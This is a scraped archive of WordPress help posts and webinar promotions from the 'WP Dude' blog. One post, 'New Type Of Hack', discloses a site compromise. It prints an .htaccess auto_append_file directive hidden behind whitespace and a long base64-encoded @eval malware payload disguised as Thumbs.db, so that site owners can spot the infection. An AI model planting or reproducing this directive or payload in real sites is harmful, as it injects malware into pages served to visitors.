Really Simple Syndication

RSS stands for really simple syndication, and it is a system that allows people to subscribe to your content.  Whenever you add a new blog post an update ise automatically sent out to your subscribers.

WordPress Comes With RSS By Default, if you go to yourdomain.com/feed you can see the RSS feed in action.

Push not Pull

It’s a push technology, it sends out an update of your content whenever you add new stuff automatically to your subscribers.  This means your people get the new stuff without having to visit your site checking for new posts.

This is a great way to ensure your newest posts are always in delivered to your readers.

Who Uses RSS

It tends to be people who are comfortable  and aware of  the technology that use RSS, so if you have a tech savvy audience, they will expect that you have an RSS feed available for them.  Increasingly this means anybody who reads a lot of blogs.

Imagine the scenario, your reader subscribes to a dozen blogs, their email inbox is already full, they discover that RSS removes some of the clutter and they want less stuff in their inbox.  If you don’t have the RSS option, chances are you are going to lose a reader.

How People Use RSS

People setup a feed reader, this can either be a desktop system or an online service like Google reader.  People then click on the RSS icon on a site they like,  this allows them to add that feed into their reader of choice.

People like RSS because it allows them to follow multiple sites from a single aggregated feed reader.  You can read your content when you like without having to visit multiple sites.

Lets face it who is going to sift through the noise to come back to an individual site.  Providing an RSS feed to your readers lets them consume your work at a time that is right for them.

Why Use RSS

I’m not going to say abandon your email list for RSS, it’s not that widely adopted, and it is not as effective a marketing tool as email,  but I would put RSS in your marketing arsenal for the people who like the technology to ensure your content gets to as many people as possible.

Subscribe To My Feed

You can subscribe to my fee from the following URL WPDude RSS Feed

Want More Information?

I’m running a live coaching workshop this week to teach people more about using RSS on their site.  I will be teaching you:

• What is RSS in more depth
• Configuring your RSS feed
• Displaying your feed to your users
• Collecting Stats from your feed
• RSS / Email integration
• RSS plugins
• Q & A

This training is for members of my WordPress coaching program the WP Owners Club and I’m offering new members a 14 day free trial of the club.  So you can check out my coaching style, watch some of the members only pre-recorded workshops and get a feel for the club at no risk to yourself.  If it’s not for you, simply cancel your subscription before 14 days are up and there is nothing to pay.

Image by kiewic

Post from: WP Dude If you need wordpress technical support please visit my services page

What Is RSS

Favicon is a small icon that displays bright on the browser URL bar, bookmark list or navigation tab. Favicon (the short form for favorite icon) in all its certainty will bring a drastic modification in your website’s outlook, if created with thorough research on the interests of the visitors to the website.

Below I list the steps required to create a new favicon.

The basics

Concentrate on simple images and letters while designing the favicon. The favicon is a 16 pixel by 16 pixel icon with .ico extension. Complex graphics get adjusted in such frame with rare difficulty.

The color of the favicon should be in sync with the basic theme of the website. This makes it easier for the visitors to associate the icon with website and will also reflect your passion and sincerity for your
work.

Use of MS paint and web tools

Favicons being simple image icons, one can create the same with Microsoft Paint. The first step in the series is to create a 32 into 32 pixel JPEG image with help of paint. The same can be converted into favicon .ico file with the help of an online service “Favicon from pics”.

Using Photoshop to create favicon

Another alternative for a well designed favicon is Adobe Photoshop. As, the standard photoshop cannot handle .ico, download the Window Icon Photoshop Plugin. Install the plugin and you can create 64 by 64 pixel canvas with this.

Once the designing part of the favicon is over, one needs to resize the image. Click the Image Size menu. It will show various options, including resample image. Click on the same. By clicking on the resample image option, you ensure that image does not become blurring, even as you scale it down.

Save the 16 by 16 image as favicon.ico.

Upload the favicon.ico file

As the favicon.ico file nears completion, it’s time to upload the same to your site. The only thing one needs to ensure is that the favicon.ico files are placed in the root directory, as the index file is located in the root directory.

Change your header

Change header, as you upload favicon.ico file. Header is the code that goes between the head tags. The following line is to be added:

link rel= shortcut icon

href = favicon.ico

type = image/x -icon

Installing a favicon in wordpress

The new favicon.ico file is to be uploaded in current theme’s main folder. An FTP client helps upload the new Favicon.ico file. Another copy can be uploaded in the main directory of your site. In case, an old favicon.ico file exists in your current theme’s main folder, the same is to be deleted using FTP clients. The same can be deleted by using mdel command under FTP.

The final check

Open the browser, pointing to the site if the favicon is appearing or not. It should appear in all circumstances. Open up a few tabs to check the new look of the icon. Need to check the new favicon for the first time. Clear the browser’s cache. If the favicon does not show up, restart the browser.

Neil’s 2 Cents Worth

There is a really good resource at http://codex.wordpress.org/Creating_a_Favicon with techie details on adding the header details, you need to add the following line in your header.  I recommend you put the favicon in your theme directory.

<link rel="shortcut icon" href="<?php bloginfo('stylesheet_directory'); ?>/favicon.ico" />

Another good resources is favicon.co.uk, there is a library of premade icons and a generator  where you can upload an existing logo and have it build a favicon for you.

Author BIO

About the author: Rebecca is a blogger by profession. She loves writing on technology and luxury. Beside this she is fond of gadgets. Recently an article on New Android Apps attracted her attention. These days she is busy in writing an article on Silver Bracelets the latest fashion trend.

Image by orphanjones

Post from: WP Dude If you need wordpress technical support please visit my services page

How to Create a Favicon in WordPress

I’m running a training session this week to show you how to audit and tidy the plugins that are on your site.

I’m showing people how to tidy both the plugin files and database tables plugins create to free up resources and make your site more efficient.

This session is for members of my training and support community the WP Owners Club.

What Is The WP Owners Club

The WP Owners Club is my WordPress training and support club. Members of the WP Owners Club get the following benefits.

Live training events – I hold two live training workshops per month. These are online webinars where I teach on a variety of WordPress related topics.

An ever growing library of training videos – all live events are saved and added to my members only area so you can review live events at a later date. There is already a big back catalogue of training on security, SEO, analytics … the list goes on.

Email Consulting – all members get email access to me so they can ask me consulting questions about their site. You can ask about the best pllugin for problem X, how to solve problem Y or any other WordPress related question you have.

How Much Is membership?

Club membership comes with a monthly fee of $29.00 for that you get access to all of the live training, the video repository and unlimited email consulting from me.

Join Now

To join the WP Owners Club or to get more details, check out this link

wpdude.com/wp-owners-club

Image by jam343

Post from: WP Dude If you need wordpress technical support please visit my services page

Start 2012 With A WebSite Detox

Once you have fixed the hack, there is the lingering problem of getting Google to update it’s index and remove all reference to viagra, cialis and all the other disco drugs these scum buckets are trying to pedal.

In this post I want to share with you the techniques I have been using to speed up the process of getting the pharma links removed.

First Up

Make sure you have completely cleaned up the site there are three areas to fix, if you miss one the infection comes back and none of these techniques will help, see my previous post.

It Takes Time

First up I want to tell you there is no quick fix it usually takes a couple of weeks t0 clean the entire index up.  Be patient, it will clean up.

Assessing The Problem

A good way to check the extent of your problem and also measure your solution you need to do a search like this in Google

site:yourdomain.com (viagra | cialis)

This will return a list of all infected pages, it gives a metric you can work on to recover your site. Here is a screen dump from a real site I’ve been working on

Get Inside Google’s Head

Google plays it’s cards close to it’s chest they don’t want people to fully understand their listing process so people cannot game the system for their own ends.

The techniques I’m showing here are what I have found to work, I have no evidence this is the best way to get your site re-indexed, if you have any insight please leave a comment.

Google Webmaster Tools

All of the techniques I’m about to describe happen in the Google webmasters tools system.

Submit A SiteMap

A sitemap is an xml file containing a list of post and pages in your site, if you submit a sitemap it appears that your site is re-indexed more quickly.

I like this plugin to automatically generate the sitemap every time you add a new post or page http://yoast.com/wordpress/seo/

If you go into Google webmasters you can submit a sitemap for your site and get Google to re-index your site

If you already have a sitemap you can re-submit it and hopefully get the same result.

Fetch As Googlebot

Another useful tool  I have found is the fetch as googlebot feature.  If you use this to retrieve your hacked pages, as Google sees them, great to check the hack is gone, but also great to re-submit the page.  Once the post or page is retrieved, there is an option to submit the

I have been going through all the hacked pages from a pharma hack attack fetching them as Google bot and re-submitting,

Removal Tool

You can get google to removed cached copies of a page from the index with this technique.  Go to the following URL

https://www.google.com/webmasters/tools/removals

Type in teh post or page with hacked details, Google sees the page is still live and asks you to type in a word that is on the cached page but not on the actual page.  I typed in viagra on my test and the pages are submitted for review.

Wrap Up

A nasty hack with a very slow recovery process, if you have any other techniques for speeding up re-indexing please let me know.

Post from: WP Dude If you need wordpress technical support please visit my services page

Refreshing The Google Index After Pharma Hack

Before you upgrade to WordPress 3.3 watch this video.  The update has a lot of changes and I’m seeing a lot of plugins crashing my clients WordPress sites.

I’ve pulled this over from my premium members only site the WP Owners Club for you to watch before you upgrade to WordPress 3.3 this is the methodology I recommend you use whenever you upgrade WordPress, this will save you a lot of heartache and expensive technical support if things go wrong.

Overview

In this module I will take you through the maintenance tasks required to keep a WordPress site up to date.

Video

Downloads

Download the presentation slides

Download a text transcript (coming soon)

Further Reading

The recording, text transcripts and downloads will be made available soon after the session on this page

WordPress file backup - http://wordpress.org/extend/plugins/wordpress-backup/

WordPress Db Backup - http://wordpress.org/extend/plugins/wp-db-backup/

Backup Buddy - http://pluginbuddy.com/purchase/backupbuddy/

VaultPress – vaultpress.com

Image by dasqfamily

Post from: WP Dude If you need wordpress technical support please visit my services page

Before You Upgrade To WordPress 3.3

If you want to collect metrics on how your site visitors are interacting with your content, then this is the workshop for you.

Analytic packages are available for your WordPress site to collect user activity, check search engine activity and much more.  I will show you how to select, install analytics software and understand the metrics collected.

How My Workshops Work

My group coaching works via a webinar, you join this live online event from the comfort of your own computer and take the training on-line.  This means no travel or accommodation costs, little time away from your day job BUT a great learning experience.

You can ask questions as the session goes along and really get to grips with the topic.

The session is recorded so you can refer back to the training at a later date, and all workshops come with follow up email support in case you have a question after the event.

When Is The Session

The session is on Thursday 15th December at the following times

• 11am-12pm Pacific
• 2pm-3pm Eastern
• 7pm-8pm UK Time

Coaching Agenda

In this session I will show you:

• What are analytics
• Types of WordPress metric collection systems
• Understanding the metrics generated
• Demo of Google Analytics
• Q & A session

How Much Does It Costs?

My group coaching sessions costs $17.00 for that you get an hours group coaching, a recording of the session and links to all downloads and slides plus follow up email support on the topic in case you have questions at a later date.

Seats are limited by my webinar software so book your slot now to avoid disappointment.

Guarantee

I offer 100% money back guarantee on all my group coaching sessions, if you are not happy for any reason let me know and you get your money back.

Join The Session

To join the session, click on the link below and make your Paypal payment IMPORTANT Paypal will redirect you to a registration page where you can create a login ID to sign up for the webinar.

Post from: WP Dude If you need wordpress technical support please visit my services page

WordPress Workshop: WordPress and Analytics

If you are unsure of the process and your involvement in the design and development process, this webinar replay is for you.

Time Sensitive Offer

I’ve included at time sensitive offer at the end of the webinar, stay to the end to get a discount.

Video

Downloads and Links

Webinar slides

http://www.colorschemer.com/online.html

http://validator.w3.org/

Example concept

Post from: WP Dude If you need wordpress technical support please visit my services page

Webinar Replay: Commisioning A Custom WordPress Theme

This is a common theme with clients I work with.  They want a custom look and feel but have no idea what information to supply, how long the process takes, or what is involved in getting their very own WordPress theme.

I’m running a webinar this week to show people my process to design, develop and implement custom themes, including the input required from you as the site owner.

So if you are looking to comissions a custom theme or are curious about how this works, why not join my webinar.

https://www1.gotomeeting.com/register/962411057

The session is on Thursday 8th December at the following times

• 11am-12pm pacific time
• 2pm – 3pm Eastern
• 7pm-8pm UK time

If you cannot join live, still register and I will send you a video recording of the event.

I hope to see you on the call

Post from: WP Dude If you need wordpress technical support please visit my services page

WEBINAR: How To Commission A Custom Theme

What Is Split Testing?

Split testing is the act of making small incremental changes to you call to action pages, be they sales pages, email signup forms, positioning of ads, the list goes on.

When you make the change you test that alteration against the existing version to see which one performs best.

Things you might want to test are copy, video, images, pricing, colours or any number of attributes on the site

The point of a split test is that you run the current configuration against a changed configuration, and monitor conversions.  If conversions increase your new configuration is seen as a better option and you make that live.

What I will be teaching you

In this live event I will show you how to split test your WordPress content so you can find out which elements of your copy, videos and images help to generate your desired call to action.

In this session I will take you through:

• What is split testing
• Split Testing Software
• Plugins to help split testing
• Demo
• Q & A session

When Is The Session?

I’m running the group coaching on Thursday 1st December at the following times

• 11am-12pm Pacific
• 2pm-3pm Eastern
• 7pm-8pm UK Time

The session will be recorded, so if you cannot attend the session live you can still benefit from the training.,

How The Group Coaching Works

You will join me in a live webinar using gotomeeting.com. This excellent tool enables me to talk to you and share my computer screen over the intternet.

There is a chat facility so you can ask me questions live during the coaching session so you understand the topic completely.

So there are no travelling or accomondation costs and the amount of time away from you day job is limited to the time the session takes.

Cost

This live event costs $17 for that you get an hour of coaching, a recording of the session plus follow up support via email.

Seat are limited by my webinar software so join now to avoid disappointment.

Guarantee

If for whatever reason you are not happy with you coaching let me know and I will refund you money

Join The Event

To join the event, click on the link below and make you payment via paypal.  IMPORTANT: once you have registered you will be redirected to another page to register for the webinar.

Post from: WP Dude If you need wordpress technical support please visit my services page

COACHING SESSION: Split Testing With WordPress

This of course would never happen to a professional like me ehemmmm, I would not for example import the entire contents of my premium members only site the WP Owners Club  into my public site here at wpdude.com (yes I really did that, note to self close all the damn browser windows you idiot).

The Ooops Moment

I was having my regular morning check in with my RSS feeds to read all the interesting stuff people are publishing only to see about a dozen entries from wpdude.com which should not be there.

I had deleted the posts as soon as I noticed they were on the wrong blog, but feedburner had them and was airing my dirty laundry in public.

How To Get Your Posts Out Of Feedburner

I see this all the time, people publish test posts, or things they probably didn’t want the world to see.  Once it’s in the feed and cached by feedburner even if you delete the post it is still there for the world to see.

Luckily there is a solution.

Resyncing Your Feed

If you login to your feedburner account and go to Troubleshootize, there is a big old resync button towards the bottom of the page.

Click on the button and Feedburner will go off and refresh your RSS feed.

Click for full size image

Other Things You Can Do

A couple of other things you may want to think about.  If you have a cache plugin, disable this before doing the refresh just in case RSS is cached.

You can force WordPress to republish the RSS feed by going to settings-> reading and changing Syndication feeds show the most recent  to a different number.

Twiddling Fingers

As I write this my posts are still in the feed, ti takes a little time to refresh them, don’t panic they will go.

Post from: WP Dude If you need wordpress technical support please visit my services page

Refreshing Your Feedburner Feed

Just In case .. What is Paypal?

Paypal is a credit card payment processor.  It acts as a middleman between your clients and you, processing transactions on your behalf.  They do the hard work of securing and protecting people’s credit card details, you simple accept money and pay a small fee in return.  You don’t have to have a merchant account for Paypal which makes it ideal for small companies or bloggers.

Paypal charges a fee per transaction of dependant upon your transaction value per month.  I pay 3.4% + 20 pence per transaction, your fees will vary by location.  There are no setup or monthly fees as there are with other payment processors.  Full details on transaction fees can be seen at the transaction charge page

If you don’t have an account, you can sign up at Paypal.com.

It goes the other way too, you can send money to people securely, but this post will concentrate on income rather than expenditure.  This is a gross simplification of Paypals services, but in a nutshell it allows you to send or receive money securely online.  Your credit card details are never sent over the net.  People trust paypal and will look for it over other payment processors such as WorldPay.

Now lets integrate paypal with our blog.

So You Want Payment

There are numerous scenarios where you may want to charge visitors to your site, I list them below with an integration idea:

Consulting Services/Service Contracts

You may sell a consulting service or sell your time at a fixed rate per hour.  If you do, using a paypal button is probably the solution for you.  Using this method, you set a small piece of html pointing to paypal which states your account details, the amount you want to charge.

There is a technical manual on configuring your buttons manually, or you can go to the button factory inside of your Paypal account and step through the process  from =my account->profile -> my saved buttons.   Below is a sample button for $0.01 so you can see the process in action, no refunds will be given

Donations / Tips

A popular way of monetising content is to offer your readers the chance to make a donation or leave you a tip. Paypal allows you to create a donation button in the same way you would create a fixed price button.  Simply  suggest that your readers may like to give you a tip with a big button and see what happens.

A neater way to do this is with the plugin Buy me a beer it integrates with your paypal account and places a call to action at the bottom of each post suggesting a reader should leave a tip if they enjoyed the content.

Membership sites

If you want to have premium content on your site, you may consider a membership site.  Paypal has a subscription facility which allow you to take recurring payments from your customers.

You can create a subscription payment button as mentioned above, and then manually add you members to your site.  The subscription service will take regular payments until your customer cancels the payment.

There are a number of membership site plugins which take this to a higher level, the hard work of coding paypal will already be done for you.  Simply specify your account details and the rest will be done for you, most importantly the process of cancelling memberships when a subscriptions is cancelled is done automatically and your content is hidden from the non-member.

The membership site plugins I have used are Your Members and  Wishlist Member.  Both of these are premium plugins.

Physical Product Shopping Carts

You may want to sell physical products using a shopping cart system such as Amazon uses.

Paypal has a shopping cart and checkout process, where you would add a button to a page or posts which would add an item to a shopping cart, you also place a checkout button on your site so payment can be collected.  This is a little cumbersome as html code needs to be added to each page, do I hear a problem which needs to be solved by a plugin …

I have used one e-commerce plugin which takes the hard work of creating product pages and integrating them with Paypal and it is called WP E-Commerce (the WordPress community is very boring with it’s naming standards I would have called it blog-u-shopper or WordPricer).

I am yet to be convinced that a blog is the best platform to sell stuff, a service such as Shoppify or an e-bay store is probaly better, but hey what do I know, if you are selling physical products successfully from a blog let me know in the comments section.

Pay to Post

Y0u may want to charge people to add a post to your system.  For example a jobs board where there is a fee to add something to your blog.  One of the simplest and best solutions I have found for this is a plugin called EasyPayPal. This also allows the simple creation of members only content so you really should check this one out.

Selling Ad Space

If you are in a position to sell Ad space on your blog, paypal may well be the processor you use.

You can setup an advertising page and setup paypal, buttons to sell ad space.  The other option is to check out an ad plugin such as OIO Publisher which allows you to sell ad space and integrate it with your Paypal account to accept payment.

Info Products

If you have an e-book or webinar to sell, how do you integrate paypal with your site to take payment before your content is made available for download?  The problem here is that you want to collect payment and protect your link until payment has been made.

wp-member the membership site solution I mention above does this as does EasyPayPal, but I would recommend you may want to look at e-junkie, this is an offsite payment processor and download fulfillment service.  This takes the headache of delivering your info. product to your customers, my mantra is always if someone will take on a headache for me and the cost is okay go with them.  The service starts at $5 per month.

Check Out The Many Paypal Plugins

There are a number of paypal plugins over and above what I mention, check out the plugin repository http://wordpress.org/extend/plugins/tags/paypal

Paypal Get’s My Thumbs Up

I hope this have given you some ideas for integrating paypal with your site.  I have only touched on the solutions here to give you a feel for what paypal can do for you.

I have been using Paypal to collect payments for my services since I started this site, the trust people have in Paypal increases your likelihood of a conversion.  I love the ease I can take payments, pay others and of course give refunds (I have a no fix no fee guarantee).  The charges sometimes feel a little high, but removing the hassle of credit card security probably makes up for that.

Need Help Integrating WordPress With Paypal?

If you need help integrating your blog with Paypal, I would be happy to give you a quote, please visit my service page and let me know your requirements.

Image by 59937401@N07

Post from: WP Dude If you need wordpress technical support please visit my services page

How To Integrate Paypal With Your WordPress Blog

There’s Just Me, Why Do I Need Roles?

If you are a lone blogger who does all the writing and administration themself then you only need two types of user;  readers who do not login and therefore don’t need a role and an administrator.  This post is probably not for you, but if this is your scenario, there are a couple of things I recommend:

1. Disabled new user registration to keep your blog watertight, this can be done from the WordPress dashboard -> settings -> general and uncheck anyone can register
2. Change the default displayed name of the admin account from admin to your own name.  This is done from  dashboard-> users ->edit the admin account -> complete first name and last name, then from “Display name publicly as” set your full name.  This just makes the blog more personal instead of a sterile person called admin writing all of the posts.

I Want a Publishing Empire Tell me About Roles.

When you create additional user accounts on your blog, you can then assign a user to a role, there are five roles subscriber, contributor,  editor and administrator.  Each has an increasing level of permission to perform actions (know as capabilities) on your site.

This post will take you through each role and it’s capabilities.  I will start with the least privileged and build up a profile of the additional things each level can achieve.

How Are Roles Assigned

By default all new users created on your blog will be subscribers, an administrator level user then need to edit the user and assign it a new role.  This is done from the dashboard -> users -> authors and users -> edit the required user -> from the role drop down, set the user level.

Subscriber

Subscribers have the ability to read your blog posts.  This is the same level as unregistered readers and visitors to your blog so why do you need a role for this?  The answer is you may not need this level, but some blogs have featured available only to logged in and registers users.  Some of those may be:

• To leave comments, this is a spam control procedure
• To see certain posts
• For a private blog where only registered users are granted access, and creation of the users is left up to the administrator

There are various plugins which require a subscriber role so out of the box the subscriber role may not seem necessary, but each installation is individual.

Contributor

Moving up the scale contributors are at a level where they can create content on your blog.

The contributor can read posts, create and edit posts from the dashboard.  They can also delete their own posts which have not been published.

The point to note about contributors is that they can create draft posts but cannot publish them.  A more trusted user level is required to edit and make the post publicly available.

Author

An author is a more trusted level of contributor, they have all of the permissions of a contributor, but they can also publish their own posts, delete their own published posts and also upload files to add to posts e.g. images to include in posts or videos to play within a post.

Authors only have control over their own content, other authors and contributors posts can be read but not edited or amended.

Editor

When we reach an editor level we move into site wide permission territory.  As the name suggests editors have control over other users content to publish delete and create new posts, but an editor can also created amend and delete pages, have access to, and control over posts marked as private.  Check out the visibility of a post it can be public, password protected or private, only editors and above can see private posts and pages.

Editors can create categories, and blog roll link entries, moderate comments and even create and amend new users.

Editors are trusted members of your organisation, they can affect your blog at a fundamental level.  What they cannot do is change the look and feel of the site, for that we need an ….

Administrator

The admin level user is the super user for the site, along with all of the other capabilities discussed above, they can change the theme, upload and install plugins edit users and modify the look and feel of the dashboard.

Control of who is an administrator of your site is crucial for a secure site, harden the password and consider changing the login ID to something other than admin.

A last Word on Roles and Capabilities

If you have multiple people contributing to your site, make use of roles, assign them the minimum permission required to get their job done, you may have scrupulous procedures to safeguard your passwords, but do your contributors?  You may trust them but making them an admin level users when all they need to do is upload their post for editing is just creating a security loophole on your site.

Further Reading

http://codex.wordpress.org/Roles_and_Capabilities#Roles

Want To Go Deeper?

I’ve created a video training tutorial to show you exactly how to work with WordPress users and roles.

How Much Is The Training

The session costs $9.00.

For that you get a thirty minute training session, links to all downloads and resources mentioned, plus help from me in the members area if you need it.

Guarantee

If you are not 100% happy with the training just let me know and I will refund your payement

How IT Works

Click on the buy now button below and make your payment, you will then be redirected to my coaching site wpownersclub.com to create a login ID from there you will be redirected to your video training

Image by maikelnai

Post from: WP Dude If you need wordpress technical support please visit my services page

WordPress Roles Explained

The hack is in two parts, the first is a php directive in .htaccess the second is a base64 encoded file which holds the payload.

.htaccess

The hacker has added hundreds of white spaces at the bottom of the .htaccess and then buried a directive in there so a casual look at .htaccess won’t show the code up.  At the bottom of the file I found:

php_value auto_append_file /var/www/html/{SITEDETALSREMOVED}/wp/Thumbs.db

This directive tells the webserver to append the file Thumbs.db to all php pages it loads up.  This means that a little piece of code is added to each web page served up.

Thumbs.db

Thumbs.db is normally a thumbnail file often included on windows servers, I have uploaded this by accident a number of times, so it looks like an un-needed but safe file. in the case of this site, it has a base64 encoded payload of malware.

@eval(base64_decode("aWYgKCRldmFsYnNmcm1iR3ZaWERGICE9IDU1NjkzKSB7ZnVuY3Rpb24gZXZhbHFLcVFJWmpRbXZIKCRzKXtmb3IgKCRhID0gMDsgJGEgPD0gc3RybGVuKCRzKS0xOyAkYSsrICl7JGUgLj0gJHN7c3RybGVuKCRzKS0kYS0xfTt9cmV0dXJuKCRlKTt9ZXZhbChldmFscUtxUUlaalFtdkgoJzspKSI9c1RLd2d5WnVsR2R5OUdjbEozWHk5bWN5VkdRIihlZG9jZWRfNDZlc2FiKGxhdmUnKSk7ZXZhbChldmFscUtxUUlaalFtdkgoJzspKSI9QVNmN2tTVFVOSFpDVm1hR3hrVGl4MlFzRm1kbFJDS2xSMmJqVkdaZlJqTmxOWFlpQmlieVZIZGxKM2Vna1NUVU5IWkNWbWFHeGtUaXgyUXNGbWRsUkNLMWxYU2xOWFRCbFdTS05GYmhaWFpnNDJicFIzWXVWbloiKGVkb2NlZF80NmVzYWIobGF2ZScpKTtldmFsKGV2YWxxS3FRSVpqUW12SCgnOykpIjdraUk5VWtNWkpDSzFsWFNsTlhUQmxXU0tORmJoWlhaZzBESTNaWFVCWm5VSlYwZDBoMmNNeG1RbXhXWTJWR0oiKGVkb2NlZF80NmVzYWIobGF2ZScpKTtldmFsKGV2YWxxS3FRSVpqUW12SCgnOykpIjdraUk5MEVTa2htVXpNbUlvVVhlSlYyY05GVWFKcDBVc0ZtZGwxelREZG5ZR2hIWjFkR1ZDVkhSaXhXWTJWR0oiKGVkb2NlZF80NmVzYWIobGF2ZScpKTtldmFsKGV2YWxxS3FRSVpqUW12SCgnOykpIj09d09wSVNQOUUwWXdJRlNoSkNLMWxYU2xOWFRCbFdTS05GYmhaWFo5NFVaVkZXUjFwbFpPVjBZTXhXWTJWR0oiKGVkb2NlZF80NmVzYWIobGF2ZScpKTtldmFsKGV2YWxxS3FRSVpqUW12SCgnOykpIj1zVEtpMEROWEZtSW9VWGVKVjJjTkZVYUpwMFVzRm1kbDFqVjVkMFkwcDNTalowUUgxR1VXeFdZMlZHSiIoZWRvY2VkXzQ2ZXNhYihsYXZlJykpO2V2YWwoZXZhbHFLcVFJWmpRbXZIKCc7KSkiPXNUS2kwVFBSbGtka2RWU2lnU2Q1bFVaejFVUXBsa1NUeFdZMlZXUGh4a1p4ZDJaaEJGYTZkSFZ3UkdTUHhXWTJWR0oiKGVkb2NlZF80NmVzYWIobGF2ZScpKTtldmFsKGV2YWxxS3FRSVpqUW12SCgnOykpIj09d09kbGlJVlZUVlNoa1J3ZzFVV0JUVldsalJWVmxVR05sSW9VWGVKVjJjTkZVYUpwMFVzRm1kbHRsVUZabFVGTjFYazBUZFlwM1lKVlVlUWRWUUZ4V1kyVkdKIihlZG9jZWRfNDZlc2FiKGxhdmUnKSk7ZXZhbChldmFscUtxUUlaalFtdkgoJzspKSI3a1NLaTBUUG5OR2I0MVdXMFpVYlZKQ0sxbFhTbE5YVEJsV1NLTkZiaFpYWmd3U0tpUWpWSHBWZEdkMVZpZ1NkNWxVWnoxVVFwbGtTVHhXWTJWR0lza2lJOWtFV2FKRGJIRm1hS2hWV21aMFZoSkNLMWxYU2xOWFRCbFdTS05GYmhaWFpnd1NLaUFUT3RGMVRPWkZWaWdTZDVsVVp6MVVRcGxrU1R4V1kyVkdJc2tpSTlFa2JqRkRleVVsSW9VWGVKVjJjTkZVYUpwMFVzRm1kbEJDTHBJQ2I0SmpXMmxqTVNKQ0sxbFhTbE5YVEJsV1NLTkZiaFpYWm9rWFl5SlhZZzBESXlwMmRJeFVheWwwVkNwMFN0eFdZMlZHSiIoZWRvY2VkXzQ2ZXNhYihsYXZlJykpO2V2YWwoZXZhbHFLcVFJWmpRbXZIKCc7KSkiN2NuZFJGa2RTbFVSM1JIYXp4RWJDWkdiaFpYWmswakxXOTBRdFptVVRWa1JoWkVhSU5VWXNwSGJoWlhaa0FTS2dzeUtwUkNJN2tESTl3RElwUkNJN0FESTlBU2FrZ0NJeTltWiIoZWRvY2VkXzQ2ZXNhYihsYXZlJykpO2V2YWwoZXZhbHFLcVFJWmpRbXZIKCc7KSkiN2tTS2kwVFBSWjJOcmwzWXJkV2VqQlROWHBGTTFJallxbGpSa3hHWnlnRmI0ZFZZdEpVUkpWblNZUkdNVzEyWTNJMFVMcG5VRHQwVFdoMVlWQkhNWmhtUkdkbFJzQmpZUmx6UmlobVdZcDFaMElqWXdKMU1aVm5WdXBsSW9VWGVKVjJjTkZVYUpwMFVzRm1kbGhDYmhaWFoiKGVkb2NlZF80NmVzYWIobGF2ZScpKTtldmFsKGV2YWxxS3FRSVpqUW12SCgnOykpIjdjbmRSRmtkU2xVUjNSSGF6eEViQ1pHYmhaWFprNGlJdUlTUHVBaVZQTlVibUoxVUZaVVlHaEdTREZHYjZ4V1kyVkdKIihlZG9jZWRfNDZlc2FiKGxhdmUnKSk7ZXZhbChldmFscUtxUUlaalFtdkgoJzspKSI9PVFmOXRqYVh4MGNRSjBTNXhXVHNGbWRsUkNJdmgyWWx0VFh4c2xhWHgwY1FKMFM1eFdUc0ZtZGxSQ0k5QWlhWHgwY1FKMFM1eFdUc0ZtZGxSQ0k3a2lhWHgwY1FKMFM1eFdUc0ZtZGxSQ0xoeGtaeGQyWmhCRmE2ZEhWd1JHU1B4V1kyVkdKb1VHWnZ4R2M0VkdJOUFpYVh4MGNRSjBTNXhXVHNGbWRsUnllcGtTWU1aV2NuZFdZUWhtZTNSRmNraDBUc0ZtZGxSQ0xxZEZUekJsUUxsSGJOeFdZMlZHSm9JSGR6SkhkemhDSW1sMk9wa1NYcElTVk9GRFZKbGpSVlZsVUdObElvVVhlSlYyY05GVWFKcDBVc0ZtZGx0bFVGWmxVRk4xWGtnU1prOTJZdVZHYnlWbkxwSVNPbjFtU2lnU2Q1bFVaejFVUXBsa1NUeFdZMlZtTHBVSFc2TldTRmxIVVhGVVJzRm1kbFJDS2xSMmJqNVdac0pYZHVraUk1a1ViS0pDSzFsWFNsTlhUQmxXU0tORmJoWlhadTBWS2kwVFNHSlZSR0JEV0dKVk1VNWtWclZsSW9VWGVKVjJjTkZVYUpwMFVzRm1kbHRsVUZabFVGTjFYazRTS2kwRE1VRm1Jb1VYZUpWMmNORlVhSnAwVXNGbWRsNVNLaTBET0VObUlvVVhlSlYyY05GVWFKcDBVc0ZtZGw1U0tpOG1RdXhrSW9VWGVKVjJjTkZVYUpwMFVzRm1kbDVpVjVkMFkwcDNTalowUUgxR1VXeFdZMlZHSnVraUk5MHpkTUpDSzFsWFNsTlhUQmxXU0tORmJoWlhadVkxVEQxbVpTTlZSR0ZtUm9oMFFoeG1lc0ZtZGxSaUxwSVNQNGtIVGlnU2Q1bFVaejFVUXBsa1NUeFdZMlZtTHBJU1A5YzJUaWdTZDVsVVp6MVVRcGxrU1R4V1kyVm1MT1ZXVmhWVWRhWm1URk5HVHNGbWRsUkNLT1ZYY1VwMFloRkZXRmwwYlE5R2JoWlhaZzBESXFkRlR6QmxRTGxIYk54V1kyVkdKZ3NUS3dBRE93RXpLcGdTWnRsR2Rza1NLaTBUVElSR2FTTnpZaWdTZDVsVVp6MVVRcGxrU1R4V1kyVkdLMVFXYnM4MFEzSm1SNFJXZG5SbFExUmtZc0ZtZGxSQ0tsbDJhdjkyWTBWMmNBQnllZ1UyY3NWR0k5dEhJcGtTS2Q5MFEzSm1SNFJXZG5SbFExUmtZc0ZtZGxSeVdGbDBTUDkwUWZSQ0swVjJjemxHS2dJM2Jna1NLMWhsZWpsVVI1QjFWQlZFYmhaWFprQUNMaWsyTGlBaUxna2ljcWRIU01sbWNKZGxRS3RVYnNGbWRsUkNJc0lDZmlnU1prOUdidzFXYWc0Q0lpOGlJb2cyWTBGTRUNCATED=")); ?>

So this malware was being loaded onto each page as an additional footer.

Check Your Site Now

If you are seeing a performance hit, please check your .htaccess for this hack.

Post from: WP Dude If you need wordpress technical support please visit my services page

New Type Of Hack

Would you like to learn more about hardening the security of your site and keeping hackers at bay?

WordPress and Security

WordPress is NOT inherently insecure, rather it is a victim of it’s own success. There are millions upon millions of WorPress sites, and the hackers are probing the defences of these sites for weaknesses that can be used upon this very large community for their nefarious reasons.

This training will make your site security more robust and less prone to attack.

When Is The Training?

The session is on Thursday 29th September at the following times

• 11am – 12pm Pacific
• 2pm-3pm Eastern
• 7pm-8pm UK Time

What Will I Learn?

You will learn my WordPress security hardening techniques to make your site much more resilient to hack attacks, including

• Why WordPress is a victim of security attacks
• WordPress security options
• Changing defailt table prefix
• Change default admin name
• Using security keys
• SFTP not FTP
• HTTPS not HTTP
• Using hard password across your installation
• Security Plugins
• Other security services
• Demo of a site being hardened

How Much Does It Cost

